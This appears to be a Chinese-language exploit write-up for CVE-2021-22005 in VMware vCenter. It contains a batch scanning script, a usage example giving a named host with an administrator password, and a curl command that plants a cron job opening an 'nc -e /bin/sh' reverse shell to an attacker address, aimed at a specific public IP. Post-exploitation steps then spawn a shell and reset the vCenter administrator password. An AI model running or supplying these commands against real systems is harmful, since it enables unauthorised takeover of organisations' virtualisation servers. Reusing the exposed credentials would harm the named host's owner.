CVE-2021-22005:VMware vCenter GetShell
一:漏洞描述
2021年9月21日,VMware发布安全公告,公开披露了vCenter Server中的19个安全漏洞,这些漏洞的CVSSv3评分范围为4.3-9.8。
其中,最为严重的漏洞为vCenter Server 中的任意文件上传漏洞(CVE-2021-22005),该漏洞存在于vCenter Server的分析服务中,其CVSSv3评分为 9.8。能够网络访问vCenter Server 上的 443 端口的攻击者可以通过上传恶意文件在 vCenter Server 上远程执行代码。该漏洞无需经过身份验证即可远程利用,攻击复杂度低,且无需用户交互。
根据Shodan的搜索结果,数以千计的vCenter Server可通过互联网访问并受到攻击 。目前已经检测到攻击者正在扫描和攻击存在漏洞的VMware vCenter 服务器。
###影响版本###
- VMware vCenter Server 7.0
- VMware vCenter Server 6.7
- 注:CVE-2021-22005会影响所有默认配置的 vCenter Server 6.7 和 7.0 部署,不会影响 vCenter Server 6.5。其它18个漏洞的影响范围请参见VMware官方公告。
###Fofa搜索###
二:漏洞批量检测
我们可以针对 /analytics/telemetry/ph/api/level 端点执行更相关的 cURL 请求来识别你的服务器是否受影响
curl -k -v "https://$VCENTER_HOST/analytics/telemetry/ph/api/level?_c=test"
- 如果服务器以 200/OK 和响应正文中除“OFF”以外的任何内容(例如“FULL”)进行响应,则它很容易受到攻击。
- 如果它以 200/OK 和“OFF”的正文内容响应,则它很可能不易受到攻击,并且也未修补且未应用任何变通方法。
- 如果它以 400/Bad Request 响应,则对其进行修补。此检查利用以下事实:修补的实例将根据已知/接受的收集器 ID 列表检查收集器 ID (_c)。
- 如果它以 404 响应,则它要么不适用,要么已应用解决方法。该解决方法会禁用受影响的 API 端点。
- 任何其他状态代码可能暗示不适用。
import requests
from requests.packages import urllib3
urllib3.disable_warnings()
headers={
'User-Agent':'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Mobile Safari/537.36'
}
params = (
('_c', 'test'),
)
for i in open('漏洞url所在的.txt','r'):
if 'https' in i:
i = i.strip('\r\n')
url = i + "/analytics/telemetry/ph/api/level"
try:
r = requests.get(url=url,headers=headers,params=params,verify=False,timeout=10)
code = r.status_code
if code == 200:
text = r.text
if text:
if "OFF" not in text:
print(f"\033[0;31m{url}\033[0m 可能存在漏洞")
with open('vul.text','a',encoding='utf-8') as f:
f.write(i+"\r")
else:
print(f"{i} 不存在漏洞")
except:
pass
else:
pass
三:GetShellEXP
###使用方法###
###使用案例###
1 https://vc.9669.cn:1443/
2 administrator@vsphere.local
3 @b\u|73uK@5<Y}W5HdNt
四:反弹ShellEXP
还有另外一种利用方式,直接将反弹脚本写入计划任务......
curl -kv "https://203.64.35.85/analytics/telemetry/ph/api/hyper/send?_c=&_i=/../../../../../../etc/cron.d/$RANDOM" -H Content-Type: -d "* * * * * root nc -e /bin/sh xxx.xxx.xxx.xxx1573"
python -c 'import pty; pty.spawn("/bin/bash")'
/usr/lib/vmware-vmafd/bin/vmafd-cli get-domain-name --server-name localhost
获取当前域名....
root@localhost [ ~ ]# /usr/lib/vmware-vmdir/bin/vdcadmintool //执行命令
==================
Please select:
0. exit
1. Test LDAP connectivity
2. Force start replication cycle
3. Reset account password
4. Set log level and mask
5. Set vmdir state
6. Get vmdir state
7. Get vmdir log level and mask
==================
3 //输入3,选择Reset account password
Please enter account UPN : administrator@vsphere.local //输入账户的UPN
New password is -
[W\q47|Kfl[<6_$0RC%D //提供的随机密码
==================
参考连接:
因篇幅问题不能全部显示,请点此查看更多更全内容